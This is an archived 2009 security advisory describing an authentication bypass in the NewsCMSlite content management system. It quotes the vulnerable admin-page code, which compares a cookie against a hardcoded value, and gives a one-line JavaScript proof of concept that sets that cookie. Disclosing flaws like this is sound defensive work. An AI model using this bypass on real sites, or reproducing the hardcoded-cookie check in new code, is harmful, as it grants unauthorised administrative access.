NewsCMSlite Insecure Cookie Handling

2009-01-28T00:00:00
ID SECURITYVULNS:DOC:21234
Type securityvulns
Reporter Securityvulns
Modified 2009-01-28T00:00:00

Description

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AmnPardaz Security Research Team

Title: NewsCMSlite

Vendor: http://www.katywhitton.com

Bug: Insecure Cookie Handling

Exploitation: Remote with browser

Fix: N/A

Original Advisory: http://www.bugreport.ir/index_62.htm

  • Description:

NewsCMSlite is an easy way to get regularly updated content onto your
site without the need for programming skills or employing a Web
Maintenance engineer.

The system allows you to update your news, articles, diary
etc.dynamically using an Access Database to store the content.

  • Vulnerability:

+-->Insecure Cookie Handling

Because of improper access restriction to the administration section,
It is possible to bypass the authentication mechanism and gain access
to the

administration section by setting the "loggedIn" cookie to "xY1zZoPQ"

Code Snippet: /newsadmin.asp #line:73-101

if pageView="login" THEN ' Nothing ELSE

if (Request.Cookies("loggedIn")="") OR
(Request.Cookies("loggedIn")<>"xY1zZoPQ") THEN %> <p><div align="center"> . . . <% ELSE %> <%if pageView="" THEN

' The User is logged in with permission ' to view the admin section so we ' display the article list and ' options menu

  • POC:

javascript:document.cookie = "loggedIn=xY1zZoPQ; path=/"

  • Solution:

Restrict and grant only trusted users access to the resources. Edit
the source code to ensure that inputs are properly sanitized.

  • Credit :

AmnPardaz Security Research & Penetration Testing Team Contact: admin[4t}bugreport{d0t]ir www.BugReport.ir www.AmnPardaz.com